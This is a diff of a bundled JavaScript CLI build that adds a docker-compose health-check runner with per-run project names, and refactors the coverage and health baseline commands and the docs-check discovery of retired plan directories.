+ ...config.compose,
10427
+ env: {
10428
+ ...config.compose.env,
10429
+ ...filled
10430
+ }
10431
+ }
10432
+ };
10433
+ }
10434
+ /** Probe any not-yet-healthy HTTP endpoints, flipping them to healthy in `healthStatus`. */
10435
+ async function updateHttpHealth(executor, compose, healthChecks, healthStatus, containers) {
10436
+ for (const check of healthChecks) {
10437
+ if (healthStatus.get(check.name)) continue;
10438
+ if (await checkHttpHealth(executor, compose, check, containers)) {
10439
+ healthStatus.set(check.name, true);
10440
+ executor.log(`${check.name} is healthy!`);
10441
+ }
10442
+ }
10443
+ }
10444
+ /**
10445
+ * Run the configured smoketest (if any). Returns a failure `CheckResult` when
10446
+ * the smoketest fails (after dumping logs and cleaning up), or `null` on success
10447
+ * or when no smoketest is configured.
10448
+ */
10449
+ function runSmoketestStep(executor, config, cleanup, startTime) {
10450
+ if (!config.smoketest) return null;
10451
+ const { compose } = config;
10452
+ executor.log(`Running smoketest: ${config.smoketest.join(" ")}`);
10453
+ try {
10454
+ runSmoketest(executor, config);
10455
+ executor.log("Smoketest passed!");
10456
+ return null;
10457
+ } catch (error) {
10458
+ const message = error instanceof Error ? error.message : String(error);
10459
+ executor.logError(`Smoketest failed: ${message}`);
10460
+ composePsDump(executor, compose);
10461
+ for (const service of compose.services) composeLogs(executor, compose, service);
10462
+ cleanup();
10463
+ return {
10464
+ success: false,
10465
+ reason: "smoketest-failed",
10466
+ message,
10467
+ elapsedMs: executor.now() - startTime
10468
+ };
10469
+ }
10470
+ }
10471
+ /** Run the full Docker check lifecycle. */
10472
+ async function runDockerCheck(executor, rawConfig) {
10473
+ const config = withFilledVariables(executor, rawConfig);
10474
+ const timeoutMs = config.timeoutMs ?? DEFAULT_TIMEOUT_MS;
10475
+ const pollIntervalMs = config.pollIntervalMs ?? DEFAULT_POLL_INTERVAL_MS;
10476
+ const { compose } = config;
10477
+ const vc = { verbose: config.verbose ?? false };
10478
+ debug(vc, `Compose files: ${compose.composeFiles.join(", ")}`);
10479
+ debug(vc, `Services: ${compose.services.join(", ")}`);
10480
+ debug(vc, `Health checks: ${config.healthChecks.map((c) => c.name).join(", ") || "(none)"}`);
10481
+ debug(vc, `Timeout: ${String(timeoutMs)}ms, poll interval: ${String(pollIntervalMs)}ms`);
10482
+ const cleanup = () => composeDown(executor, compose);
10483
+ let cleaningUp = false;
10484
+ const gracefulShutdown = () => {
10485
+ if (cleaningUp) {
10486
+ executor.log("Cleanup in progress, please wait...");
10487
+ return;
10488
+ }
10489
+ cleaningUp = true;
10490
+ executor.log("Interrupted — shutting down compose stack...");
10491
+ cleanup();
10492
+ process.exit(1);
10493
+ };
10494
+ const disposeInt = executor.onSignal("SIGINT", gracefulShutdown);
10495
+ const disposeTerm = executor.onSignal("SIGTERM", gracefulShutdown);
10496
+ try {
10497
+ if (config.buildCommand) {
10498
+ executor.log("Building images...");
10499
+ buildImages(executor, config);
10500
+ }
10501
+ executor.log("Starting compose stack...");
10502
+ const startTime = executor.now();
10503
+ try {
10504
+ composeUp(executor, compose);
10505
+ } catch (error) {
10506
+ const message = error instanceof Error ? error.message : String(error);
10507
+ executor.logError(`Compose stack failed to start — dumping logs`);
10508
+ composePsDump(executor, compose);
10509
+ for (const service of compose.services) composeLogs(executor, compose, service);
10510
+ cleanup();
10511
+ return {
10512
+ success: false,
10513
+ reason: "startup-failed",
10514
+ message,
10515
+ elapsedMs: executor.now() - startTime
10516
+ };
10517
+ }
10518
+ executor.log(`Waiting for stack to be healthy (max ${timeoutMs / 1e3}s)...`);
10519
+ let lastStatusLogTime = startTime;
10520
+ let settlePolled = false;
10521
+ const healthStatus = new Map(config.healthChecks.map((c) => [c.name, false]));
10522
+ while (executor.now() - startTime < timeoutMs) {
10523
+ const containers = composePs(executor, compose);
10524
+ debug(vc, `compose ps: ${containers.length} container(s)`);
10525
+ let allContainersHealthy = true;
10526
+ let sawHealthcheck = false;
10527
+ for (const service of compose.services) {
10528
+ const status = getContainerHealth(containers, service);
10529
+ debug(vc, `Container ${service}: ${status || "(no healthcheck)"}`);
10530
+ if (status !== "" && status !== "unknown") sawHealthcheck = true;
10531
+ if (status === "unhealthy") {
10532
+ executor.logError(`Container ${service} is unhealthy`);
10533
+ composePsDump(executor, compose);
10534
+ composeLogs(executor, compose, service);
10535
+ cleanup();
10536
+ return {
10537
+ success: false,
10538
+ reason: "unhealthy-container",
10539
+ message: service,
10540
+ elapsedMs: executor.now() - startTime
10541
+ };
10542
+ }
10543
+ if (status === "starting") allContainersHealthy = false;
10544
+ const exitCode = getContainerExitCode(containers, service);
10545
+ if (exitCode !== void 0 && exitCode !== 0) {
10546
+ const message = `${service} exited with code ${String(exitCode)}`;
10547
+ executor.logError(`Container ${message}`);
10548
+ composePsDump(executor, compose);
10549
+ composeLogs(executor, compose, service);
10550
+ cleanup();
10551
+ return {
10552
+ success: false,
10553
+ reason: "container-exited",
10554
+ message,
10555
+ elapsedMs: executor.now() - startTime
10556
+ };
10557
+ }
10558
+ }
10559
+ await updateHttpHealth(executor, compose, config.healthChecks, healthStatus, containers);
10560
+ if (allContainersHealthy && [...healthStatus.values()].every(Boolean)) {
10561
+ if (!settlePolled && config.healthChecks.length === 0 && !sawHealthcheck) {
10562
+ settlePolled = true;
10563
+ debug(vc, "Nothing gates this stack — settle poll before declaring success");
10564
+ await executor.sleep(pollIntervalMs);
10565
+ continue;
10566
+ }
10567
+ const smoketestFailure = runSmoketestStep(executor, config, cleanup, startTime);
10568
+ if (smoketestFailure) return smoketestFailure;
10569
+ executor.log("Check successful! All systems operational.");
10570
+ cleanup();
10571
+ return {
10572
+ success: true,
10573
+ elapsedMs: executor.now() - startTime
10574
+ };
10575
+ }
10576
+ const now = executor.now();
10577
+ if (now - lastStatusLogTime >= 5e3) {
10578
+ lastStatusLogTime = now;
10579
+ const elapsed = Math.floor((now - startTime) / 1e3);
10580
+ const parts = [compose.services.map((s) => `${s}=${getContainerHealth(containers, s)}`).join(", "), [...healthStatus.entries()].map(([name, ok]) => `${name}=${ok ? "OK" : "Pending"}`).join(", ")].filter(Boolean).join(" | ");
10581
+ executor.log(`Waiting... (${elapsed}s elapsed). ${parts}`);
10582
+ }
10583
+ await executor.sleep(pollIntervalMs);
10584
+ }
10585
+ executor.logError("Timeout waiting for stack to become healthy");
10586
+ composePsDump(executor, compose);
10587
+ for (const service of compose.services) composeLogs(executor, compose, service);
10588
+ cleanup();
10589
+ return {
10590
+ success: false,
10591
+ reason: "timeout",
10592
+ message: "Exceeded timeout",
10593
+ elapsedMs: executor.now() - startTime
10594
+ };
10595
+ } catch (error) {
10596
+ cleanup();
10597
+ return {
10598
+ success: false,
10599
+ reason: "error",
10600
+ message: error instanceof Error ? error.message : String(error),
10601
+ elapsedMs: 0
10602
+ };
10603
+ } finally {
10604
+ disposeInt();
10605
+ disposeTerm();
10606
+ }
10607
+ }
10608
+ //#endregion
10609
+ //#region src/docker-check/project-name.ts
10610
+ /**
10611
+ * Derive the `docker compose --project-name` value for a check run.
10612
+ *
10613
+ * Always returns a unique, non-colliding namespace so a stray `compose down -v`
10614
+ * during the check cannot target volumes belonging to a long-running stack
10615
+ * sharing the same docker daemon (the failure mode that wiped prod volumes
10616
+ * when a CI runner bind-mounted /var/run/docker.sock and the check overlay
10617
+ * inherited the base file's `name:`).
10618
+ *
10619
+ * Format: `<sanitized-repo>-check-<suffix>` where suffix prefers a CI run id
10620
+ * for traceability and falls back to `process.pid` locally so two concurrent
10621
+ * `bst docker:check` invocations on the same machine don't collide.
10622
+ */
10623
+ function deriveProjectName(repoName, env = process.env) {
10624
+ return `${sanitize(repoName)}-check-${sanitize(env["GITHUB_RUN_ID"] ?? env["CI_RUN_ID"] ?? String(process.pid))}`;
10625
+ }
10626
+ function sanitize(name) {
10627
+ return name.replace(/^@[^/]+\//, "").toLowerCase().replace(/[^a-z0-9_-]+/g, "-").replace(/^-+|-+$/g, "") || "repo";
10628
+ }
10629
+ //#endregion
9608
10630
  //#region src/commands/docker-check.ts
9609
10631
  /** Convert declarative health checks to functional ones. */
9610
10632
  function toHttpHealthChecks(checks) {
9611
10633
  return checks.map((check) => ({
9612
10634
  name: check.name,
9613
10635
  url: check.url,
9614
- validate: async (res) => check.status ? res.status === check.status : res.ok
10636
+ validate: async (res) => check.status ? res.status === check.status : res.ok,
10637
+ viaNetworkService: check.viaNetworkService
9615
10638
  }));
9616
10639
  }
9617
10640
  /** Write the generated check overlay to a temp file. Returns the absolute path. */
@@ -9651,7 +10674,11 @@ const dockerCheckCommand = defineCommand({
9651
10674
  ...computeCheckDefaults(cwd),
9652
10675
  ...toolingConfig?.dockerCheck
9653
10676
  };
9654
- if (!defaults.composeFiles || defaults.composeFiles.length === 0) throw new FatalError("No compose files found. Expected docker-compose.yaml or compose.yaml in ./ or docker/.");
10677
+ if (!defaults.composeFiles || defaults.composeFiles.length === 0) {
10678
+ log.warn("No compose files found — nothing to health-check. Add docker-compose.yaml (plus a docker-compose.check.yaml overlay) in ./ or docker/ to enable docker:check.");
10679
+ log.warn("To suppress this warning, set \"dockerCheck\": false in .tooling.json.");
10680
+ return;
10681
+ }
9655
10682
  if (!defaults.checkOverlay) {
9656
10683
  const composeCwd = defaults.composeCwd ?? cwd;
9657
10684
  const expectedOverlay = (defaults.composeFiles[0] ?? "docker-compose.yaml").replace(/\.(yaml|yml)$/, ".check.$1");
@@ -9686,24 +10713,15 @@ const dockerCheckCommand = defineCommand({
9686
10713
  ];
9687
10714
  const portVarServices = services.filter((s) => s.portEnvVar === "PORT");
9688
10715
  let composeEnv;
9689
- let healthChecks = defaults.healthChecks;
9690
10716
  if (portVarServices.length > 0) {
9691
10717
  if (portVarServices.length > 1) log.warn(`Multiple services reference \${PORT} (${portVarServices.map((s) => s.name).join(", ")}); they cannot share a host port.`);
9692
10718
  const externalPort = process.env["PORT"] ?? (defaults.envFile !== void 0 ? composeEnvFileValue(composeCwd, defaults.envFile, "PORT") : void 0);
9693
- let resolvedPort;
9694
- if (externalPort !== void 0) {
9695
- log.info(`PORT is already set (${externalPort}) — using the configured value.`);
9696
- const parsed = Number.parseInt(externalPort, 10);
9697
- resolvedPort = Number.isNaN(parsed) ? void 0 : parsed;
9698
- } else {
9699
- resolvedPort = await findFreePort();
10719
+ if (externalPort !== void 0) log.info(`PORT is already set (${externalPort}) — using the configured value.`);
10720
+ else {
10721
+ const resolvedPort = await findFreePort();
9700
10722
  composeEnv = { PORT: String(resolvedPort) };
9701
10723
  log.info(`Allocated free host port ${String(resolvedPort)} for \${PORT}.`);
9702
10724
  }
9703
- if (resolvedPort !== void 0 && toolingConfig?.dockerCheck?.healthChecks === void 0) {
9704
- const port = resolvedPort;
9705
- healthChecks = deriveHealthChecks(services, new Map(portVarServices.map((s) => [s.name, port])));
9706
- }
9707
10725
  }
9708
10726
  try {
9709
10727
  const config = {
@@ -9717,14 +10735,14 @@ const dockerCheckCommand = defineCommand({
9717
10735
  },
9718
10736
  buildCommand: defaults.buildCommand,
9719
10737
  buildCwd: defaults.buildCwd,
9720
- healthChecks: healthChecks ? toHttpHealthChecks(healthChecks) : [],
10738
+ healthChecks: defaults.healthChecks ? toHttpHealthChecks(defaults.healthChecks) : [],
9721
10739
  smoketest: defaults.smoketest,
9722
10740
  smoketestCwd: defaults.smoketestCwd,
9723
10741
  timeoutMs: args.timeout ? Number.parseInt(args.timeout, 10) : defaults.timeoutMs,
9724
10742
  pollIntervalMs: args["poll-interval"] ? Number.parseInt(args["poll-interval"], 10) : defaults.pollIntervalMs,
9725
10743
  verbose: args.verbose === true || isEnvVerbose()
9726
10744
  };
9727
- const result = await runDockerCheck(createRealExecutor$1(), config);
10745
+ const result = await runDockerCheck(createRealExecutor(), config);
9728
10746
  if (!result.success) throw new FatalError(`Check failed (${result.reason}): ${result.message}`);
9729
10747
  } finally {
9730
10748
  try {
@@ -10339,7 +11357,7 @@ const setupSecretsCommand = defineCommand({
10339
11357
  if (!parsed) throw new FatalError("No repository found. Add a git remote `origin` or a `repository` field to package.json.");
10340
11358
  const repository = parsed.repository;
10341
11359
  const isGitHub = parsed.hostname === "github.com";
10342
- const executor = createRealExecutor();
11360
+ const executor = createRealExecutor$1();
10343
11361
  const repoName = repository.split("/")[1] ?? repository;
10344
11362
  const rootPkgRaw = executor.readFile(`${cwd}/package.json`);
10345
11363
  const rootName = (rootPkgRaw ? parsePackageJson(rootPkgRaw) : void 0)?.name ?? repoName;
@@ -10458,7 +11476,7 @@ const forgejoSecretsCommand = defineCommand({
10458
11476
  },
10459
11477
  async run({ args }) {
10460
11478
  const conn = requireForgejo(process.cwd());
10461
- const executor = createRealExecutor();
11479
+ const executor = createRealExecutor$1();
10462
11480
  const secretValue = readSecretValue(args.body);
10463
11481
  await runSecretsSet(executor, {
10464
11482
  conn,
@@ -10479,7 +11497,7 @@ const forgejoSecretsCommand = defineCommand({
10479
11497
  } },
10480
11498
  async run() {
10481
11499
  const conn = requireForgejo(process.cwd());
10482
- await runSecretsList(createRealExecutor(), { conn });
11500
+ await runSecretsList(createRealExecutor$1(), { conn });
10483
11501
  }
10484
11502
  }),
10485
11503
  delete: defineCommand({
@@ -10504,7 +11522,7 @@ const forgejoSecretsCommand = defineCommand({
10504
11522
  },
10505
11523
  async run({ args }) {
10506
11524
  const conn = requireForgejo(process.cwd());
10507
- await runSecretsDelete(createRealExecutor(), {
11525
+ await runSecretsDelete(createRealExecutor$1(), {
10508
11526
  conn,
10509
11527
  secretName: args.name,
10510
11528
  dryRun: args["dry-run"] === true
@@ -10701,7 +11719,7 @@ const forgejoWebhooksCommand = defineCommand({
10701
11719
  async run({ args }) {
10702
11720
  const resolved = resolveConnection(process.cwd());
10703
11721
  if (resolved.type !== "forgejo") throw new FatalError("forgejo:webhooks requires a Forgejo repository");
10704
- const inventory = await runListWebhooks(createRealExecutor(), resolved.conn);
11722
+ const inventory = await runListWebhooks(createRealExecutor$1(), resolved.conn);
10705
11723
  if (args.json) {
10706
11724
  console.log(JSON.stringify(inventory, null, 2));
10707
11725
  return;
@@ -11141,7 +12159,7 @@ function missingSummaryMessage(targetDir) {
11141
12159
  //#endregion
11142
12160
  //#region src/commands/coverage-summary.ts
11143
12161
  const COVERAGE_SUMMARY_FILE$2 = "coverage/coverage-summary.json";
11144
- const out$8 = (msg) => console.log(msg);
12162
+ const out$6 = (msg) => console.log(msg);
11145
12163
  function readSummary(targetDir) {
11146
12164
  const summaryPath = path.join(targetDir, COVERAGE_SUMMARY_FILE$2);
11147
12165
  if (!existsSync(summaryPath)) throw new FatalError(missingSummaryMessage(targetDir));
@@ -11172,11 +12190,11 @@ const coverageSummaryCommand = defineCommand({
11172
12190
  const targetDir = path.resolve(args.dir ?? ".");
11173
12191
  const config = resolveCoverageConfig(targetDir);
11174
12192
  if (config.disabledReason) {
11175
- if (args.json === true) out$8(JSON.stringify({
12193
+ if (args.json === true) out$6(JSON.stringify({
11176
12194
  enabled: false,
11177
12195
  disabledReason: config.disabledReason
11178
12196
  }));
11179
- else out$8(`coverage: disabled (${config.disabledReason}).`);
12197
+ else out$6(`coverage: disabled (${config.disabledReason}).`);
11180
12198
  return;
11181
12199
  }
11182
12200
  const summary = parseV8Summary(readSummary(targetDir));
@@ -11188,10 +12206,10 @@ const coverageSummaryCommand = defineCommand({
11188
12206
  timestamp: (/* @__PURE__ */ new Date()).toISOString()
11189
12207
  }
11190
12208
  });
11191
- out$8(JSON.stringify(record));
12209
+ out$6(JSON.stringify(record));
11192
12210
  return;
11193
12211
  }
11194
- out$8(formatRecordSummary({
12212
+ out$6(formatRecordSummary({
11195
12213
  ...deriveBaseline(summary, { rootDir: targetDir }),
11196
12214
  sha: getHeadSha(targetDir)
11197
12215
  }));
@@ -11204,10 +12222,26 @@ function serializeBaseline(baseline) {
11204
12222
  return JSON.stringify(baseline, null, 2) + "\n";
11205
12223
  }
11206
12224
  //#endregion
12225
+ //#region src/utils/cli-output.ts
12226
+ const stdout = (msg) => console.log(msg);
12227
+ const stderr = (msg) => console.error(msg);
12228
+ function createCliOutput(jsonMode) {
12229
+ return {
12230
+ json: (payload) => {
12231
+ if (jsonMode) stdout(JSON.stringify(payload));
12232
+ },
12233
+ text: (message) => {
12234
+ if (!jsonMode) stdout(message);
12235
+ },
12236
+ notice: (message) => {
12237
+ (jsonMode ? stderr : stdout)(message);
12238
+ }
12239
+ };
12240
+ }
12241
+ //#endregion
11207
12242
  //#region src/commands/coverage-check.ts
11208
12243
  const COVERAGE_SUMMARY_FILE$1 = "coverage/coverage-summary.json";
11209
12244
  const BASELINE_FILE$1 = "coverage-baseline.json";
11210
- const out$7 = (msg) => console.log(msg);
11211
12245
  const coverageCheckCommand = defineCommand({
11212
12246
  meta: {
11213
12247
  name: "coverage:check",
@@ -11223,9 +12257,10 @@ const coverageCheckCommand = defineCommand({
11223
12257
  type: "boolean",
11224
12258
  description: "If all four totals are flat-or-up, rewrite coverage-baseline.json"
11225
12259
  },
11226
- "no-fail-on-missing-baseline": {
12260
+ "fail-on-missing-baseline": {
11227
12261
  type: "boolean",
11228
- description: "Treat absent baseline as a soft notice (used during bootstrap)"
12262
+ default: true,
12263
+ description: "Fail when no baseline exists (default). --no-fail-on-missing-baseline downgrades it to a notice (used during bootstrap)."
11229
12264
  },
11230
12265
  json: {
11231
12266
  type: "boolean",
@@ -11234,9 +12269,14 @@ const coverageCheckCommand = defineCommand({
11234
12269
  },
11235
12270
  run({ args }) {
11236
12271
  const targetDir = path.resolve(args.dir ?? ".");
12272
+ const out = createCliOutput(args.json === true);
11237
12273
  const config = resolveCoverageConfig(targetDir);
11238
12274
  if (config.disabledReason) {
11239
- out$7(`coverage: disabled (${config.disabledReason}). Skipping check.`);
12275
+ out.notice(`coverage: disabled (${config.disabledReason}). Skipping check.`);
12276
+ out.json({
12277
+ status: "disabled",
12278
+ reason: config.disabledReason
12279
+ });
11240
12280
  return;
11241
12281
  }
11242
12282
  const summaryPath = path.join(targetDir, COVERAGE_SUMMARY_FILE$1);
@@ -11246,31 +12286,42 @@ const coverageCheckCommand = defineCommand({
11246
12286
  if (!existsSync(baselinePath)) {
11247
12287
  if (args["update-baseline"] === true) {
11248
12288
  writeFileSync(baselinePath, serializeBaseline(current));
11249
- out$7(`Created ${BASELINE_FILE$1} (no prior baseline).`);
12289
+ out.notice(`Created ${BASELINE_FILE$1} (no prior baseline).`);
12290
+ out.json({
12291
+ status: "baseline-created",
12292
+ totals: current.totals
12293
+ });
11250
12294
  return;
11251
12295
  }
11252
12296
  const message = `${BASELINE_FILE$1} not found. Run with --update-baseline to create one from the current run.`;
11253
- if (args["no-fail-on-missing-baseline"] === true) {
11254
- out$7(message);
12297
+ if (args["fail-on-missing-baseline"] === false) {
12298
+ out.notice(message);
12299
+ out.json({
12300
+ status: "missing-baseline",
12301
+ totals: current.totals
12302
+ });
11255
12303
  return;
11256
12304
  }
11257
12305
  throw new FatalError(message);
11258
12306
  }
11259
12307
  const baseline = parseBaseline(readFileSync(baselinePath, "utf-8"));
11260
12308
  const result = compareTotals(baseline.totals, current.totals, config.tolerancePp);
11261
- if (args.json === true) out$7(JSON.stringify(result));
11262
- else out$7(formatCompareDiff$1(result));
12309
+ out.text(formatCompareDiff$1(result));
12310
+ out.json({
12311
+ status: "compared",
12312
+ ...result
12313
+ });
11263
12314
  if (args["update-baseline"] === true) if (isFlatOrUp(baseline.totals, current.totals)) {
11264
12315
  writeFileSync(baselinePath, serializeBaseline(current));
11265
- out$7(`Updated ${BASELINE_FILE$1} (all four totals flat-or-up).`);
11266
- } else out$7(`Skipped baseline update: at least one total dropped below baseline. Add tests or adjust coverage.exclude before updating.`);
12316
+ out.notice(`Updated ${BASELINE_FILE$1} (all four totals flat-or-up).`);
12317
+ } else out.notice(`Skipped baseline update: at least one total dropped below baseline. Add tests or adjust coverage.exclude before updating.`);
11267
12318
  if (!result.pass) process.exitCode = 1;
11268
12319
  }
11269
12320
  });
11270
12321
  //#endregion
11271
12322
  //#region src/commands/coverage-record.ts
11272
12323
  const COVERAGE_SUMMARY_FILE = "coverage/coverage-summary.json";
11273
- const out$6 = (msg) => console.log(msg);
12324
+ const out$5 = (msg) => console.log(msg);
11274
12325
  const coverageRecordCommand = defineCommand({
11275
12326
  meta: {
11276
12327
  name: "coverage:record",
@@ -11291,7 +12342,7 @@ const coverageRecordCommand = defineCommand({
11291
12342
  const targetDir = path.resolve(args.dir ?? ".");
11292
12343
  const config = resolveCoverageConfig(targetDir);
11293
12344
  if (!config.historyEnabled) {
11294
- out$6("coverage history disabled (.tooling.json: coverage.history === 'none' or coverage === false). Skipping record.");
12345
+ out$5("coverage history disabled (.tooling.json: coverage.history === 'none' or coverage === false). Skipping record.");
11295
12346
  return;
11296
12347
  }
11297
12348
  const summaryPath = path.join(targetDir, COVERAGE_SUMMARY_FILE);
@@ -11309,19 +12360,19 @@ const coverageRecordCommand = defineCommand({
11309
12360
  }
11310
12361
  });
11311
12362
  const branch = args.branch ?? config.historyBranch;
11312
- out$6(`Appending coverage record for ${sha.slice(0, 7)} to ${branch}...`);
12363
+ out$5(`Appending coverage record for ${sha.slice(0, 7)} to ${branch}...`);
11313
12364
  const result = appendRecord(executor, {
11314
12365
  cwd: targetDir,
11315
12366
  historyBranch: branch,
11316
12367
  authorName: "coverage-bot",
11317
12368
  authorEmail: "coverage-bot@noreply.localhost"
11318
12369
  }, record);
11319
- out$6(`${result.bootstrapped ? "Bootstrapped" : "Appended to"} ${branch}: commit ${result.commitSha.slice(0, 7)}${result.attempts > 1 ? ` (after ${String(result.attempts)} attempts)` : ""}.`);
12370
+ out$5(`${result.bootstrapped ? "Bootstrapped" : "Appended to"} ${branch}: commit ${result.commitSha.slice(0, 7)}${result.attempts > 1 ? ` (after ${String(result.attempts)} attempts)` : ""}.`);
11320
12371
  }
11321
12372
  });
11322
12373
  //#endregion
11323
12374
  //#region src/commands/coverage-status.ts
11324
- const out$5 = (msg) => console.log(msg);
12375
+ const out$4 = (msg) => console.log(msg);
11325
12376
  const coverageStatusCommand = defineCommand({
11326
12377
  meta: {
11327
12378
  name: "coverage:status",
@@ -11356,16 +12407,16 @@ const coverageStatusCommand = defineCommand({
11356
12407
  historyBranch: branch
11357
12408
  });
11358
12409
  if (records.length === 0) {
11359
- if (args.json === true) out$5("[]");
11360
- else out$5(`no coverage history recorded yet (branch: ${branch})`);
12410
+ if (args.json === true) out$4("[]");
12411
+ else out$4(`no coverage history recorded yet (branch: ${branch})`);
11361
12412
  return;
11362
12413
  }
11363
12414
  const trailing = records.slice(-limit);
11364
12415
  if (args.json === true) {
11365
- out$5(JSON.stringify(trailing));
12416
+ out$4(JSON.stringify(trailing));
11366
12417
  return;
11367
12418
  }
11368
- out$5(formatTrendTable(trailing));
12419
+ out$4(formatTrendTable(trailing));
11369
12420
  }
11370
12421
  });
11371
12422
  //#endregion
@@ -11802,7 +12853,6 @@ function formatCompareDiff(result) {
11802
12853
  //#endregion
11803
12854
  //#region src/commands/health-check.ts
11804
12855
  const BASELINE_FILE = "health-baseline.json";
11805
- const out$4 = (msg) => console.log(msg);
11806
12856
  const healthCheckCommand = defineCommand({
11807
12857
  meta: {
11808
12858
  name: "health:check",
@@ -11818,9 +12868,10 @@ const healthCheckCommand = defineCommand({
11818
12868
  type: "boolean",
11819
12869
  description: "If no metric regressed, rewrite health-baseline.json"
11820
12870
  },
11821
- "no-fail-on-missing-baseline": {
12871
+ "fail-on-missing-baseline": {
11822
12872
  type: "boolean",
11823
- description: "Treat absent baseline as a soft notice"
12873
+ default: true,
12874
+ description: "Fail when no baseline exists (default). --no-fail-on-missing-baseline downgrades it to a notice."
11824
12875
  },
11825
12876
  json: {
11826
12877
  type: "boolean",
@@ -11829,12 +12880,14 @@ const healthCheckCommand = defineCommand({
11829
12880
  },
11830
12881
  run({ args }) {
11831
12882
  const targetDir = path.resolve(args.dir ?? ".");
12883
+ const out = createCliOutput(args.json === true);
11832
12884
  const config = resolveHealthConfig(targetDir);
11833
12885
  if (!config.enabled) {
11834
- out$4("health: disabled (set .tooling.json#health.enabled to true to enable).");
12886
+ out.notice("health: disabled (set .tooling.json#health.enabled to true to enable).");
12887
+ out.json({ status: "disabled" });
11835
12888
  return;
11836
12889
  }
11837
- if (!config.graphMetricsEnabled && args.json !== true) out$4("health: graph metrics disabled (no JS/TS source to cruise) — crowdedDirectories only.");
12890
+ if (!config.graphMetricsEnabled) out.notice("health: graph metrics disabled (no JS/TS source to cruise) — crowdedDirectories only.");
11838
12891
  const current = collectMetrics(createRealHealthExecutor(targetDir), {
11839
12892
  src: config.src,
11840
12893
  extensions: config.extensions,
@@ -11848,26 +12901,36 @@ const healthCheckCommand = defineCommand({
11848
12901
  if (!existsSync(baselinePath)) {
11849
12902
  if (args["update-baseline"] === true) {
11850
12903
  writeFileSync(baselinePath, serializeHealthBaseline(current));
11851
- out$4(`Created ${BASELINE_FILE} (no prior baseline).`);
12904
+ out.notice(`Created ${BASELINE_FILE} (no prior baseline).`);
12905
+ out.json({
12906
+ status: "baseline-created",
12907
+ metrics: current
12908
+ });
11852
12909
  return;
11853
12910
  }
11854
12911
  const message = `${BASELINE_FILE} not found. Run with --update-baseline to create one from the current run.`;
11855
- if (args["no-fail-on-missing-baseline"] === true) {
11856
- out$4(message);
12912
+ if (args["fail-on-missing-baseline"] === false) {
12913
+ out.notice(message);
12914
+ out.json({
12915
+ status: "missing-baseline",
12916
+ metrics: current
12917
+ });
11857
12918
  return;
11858
12919
  }
11859
12920
  throw new FatalError(message);
11860
12921
  }
11861
12922
  const baseline = parseHealthBaseline(readFileSync(baselinePath, "utf-8"));
11862
12923
  const result = compareMetrics(baseline, current, config.tolerance);
11863
- out$4(args.json === true ? JSON.stringify({
12924
+ out.text(formatCompareDiff(result));
12925
+ out.json({
12926
+ status: "compared",
11864
12927
  ...result,
11865
12928
  graphMetricsEnabled: config.graphMetricsEnabled
11866
- }) : formatCompareDiff(result));
12929
+ });
11867
12930
  if (args["update-baseline"] === true) if (isFlatOrBetter(baseline, current)) {
11868
12931
  writeFileSync(baselinePath, serializeHealthBaseline(current));
11869
- out$4(`Updated ${BASELINE_FILE} (no regressions).`);
11870
- } else out$4(`Skipped baseline update: a metric regressed. Fix the regression before updating.`);
12932
+ out.notice(`Updated ${BASELINE_FILE} (no regressions).`);
12933
+ } else out.notice(`Skipped baseline update: a metric regressed. Fix the regression before updating.`);
11871
12934
  if (!result.pass) process.exitCode = 1;
11872
12935
  }
11873
12936
  });
@@ -12052,7 +13115,9 @@ const healthStatusCommand = defineCommand({
12052
13115
  //#endregion
12053
13116
  //#region src/docs-check/discover.ts
12054
13117
  const DOCS_ROOT = "docs";
12055
- const RETIRED_DIR = "completed";
13118
+ /** Canonical retirement dir name: encodes the binary (retired or not); the outcome lives in the doc's Status line. */
13119
+ const RETIRED_DIR = "retired";
13120
+ const RETIRED_DIR_NAMES = [RETIRED_DIR, "completed"];
12056
13121
  /** A directory with one of these names holds plan/spec docs. */
12057
13122
  const PLAN_DIR_NAMES = /* @__PURE__ */ new Set(["plans", "specs"]);
12058
13123
  /** `docs/` is a general folder: only the `plan-` prefix is a tracked doc there. */
@@ -12069,7 +13134,7 @@ function listDocs(exec, dir, pattern) {
12069
13134
  if (!entries) return [];
12070
13135
  return entries.filter((e) => !e.isDirectory && e.name.endsWith(".md")).filter((e) => pattern?.test(e.name) ?? true).map((e) => `${dir}/${e.name}`).toSorted();
12071
13136
  }
12072
- /** Every `plans`/`specs` directory under docs/, depth-limited, skipping completed/ dirs. */
13137
+ /** Every `plans`/`specs` directory under docs/, depth-limited, skipping retired/completed dirs. */
12073
13138
  function conventionalActiveDirs(exec) {
12074
13139
  const found = [];
12075
13140
  const walk = (dir, depth) => {
@@ -12077,7 +13142,7 @@ function conventionalActiveDirs(exec) {
12077
13142
  const entries = exec.readDir(dir);
12078
13143
  if (!entries) return;
12079
13144
  for (const entry of entries) {
12080
- if (!entry.isDirectory || entry.name === RETIRED_DIR) continue;
13145
+ if (!entry.isDirectory || RETIRED_DIR_NAMES.includes(entry.name)) continue;
12081
13146
  const child = `${dir}/${entry.name}`;
12082
13147
  if (PLAN_DIR_NAMES.has(entry.name)) found.push(child);
12083
13148
  walk(child, depth + 1);
@@ -12095,18 +13160,20 @@ function discoverPairs(exec, config) {
12095
13160
  for (const active of [...conventionalActiveDirs(exec), ...config.extraDirs]) candidates.push({
12096
13161
  active,
12097
13162
  retired: `${active}/${RETIRED_DIR}`,
13163
+ retiredDirs: RETIRED_DIR_NAMES.map((name) => `${active}/${name}`),
12098
13164
  enforced: isEnforced(active, config.enforced)
12099
13165
  });
12100
13166
  candidates.push({
12101
13167
  active: DOCS_ROOT,
12102
13168
  retired: `${DOCS_ROOT}/${RETIRED_DIR}`,
13169
+ retiredDirs: RETIRED_DIR_NAMES.map((name) => `${DOCS_ROOT}/${name}`),
12103
13170
  activePattern: LEGACY_ACTIVE_PATTERN,
12104
13171
  enforced: isEnforced(DOCS_ROOT, config.enforced)
12105
13172
  });
12106
13173
  const seen = /* @__PURE__ */ new Set();
12107
13174
  return candidates.filter((pair) => {
12108
13175
  if (seen.has(pair.active)) return false;
12109
- if (!(listDocs(exec, pair.active, pair.activePattern).length > 0 || listDocs(exec, pair.retired).length > 0)) return false;
13176
+ if (!(listDocs(exec, pair.active, pair.activePattern).length > 0 || pair.retiredDirs.some((dir) => listDocs(exec, dir).length > 0))) return false;
12110
13177
  seen.add(pair.active);
12111
13178
  return true;
12112
13179
  });
@@ -12259,8 +13326,8 @@ function relativeLinks(body, fileDir) {
12259
13326
  }
12260
13327
  //#endregion
12261
13328
  //#region src/docs-check/rules.ts
12262
- /** Status keywords that mean "this work is over" — the doc belongs in completed/. */
12263
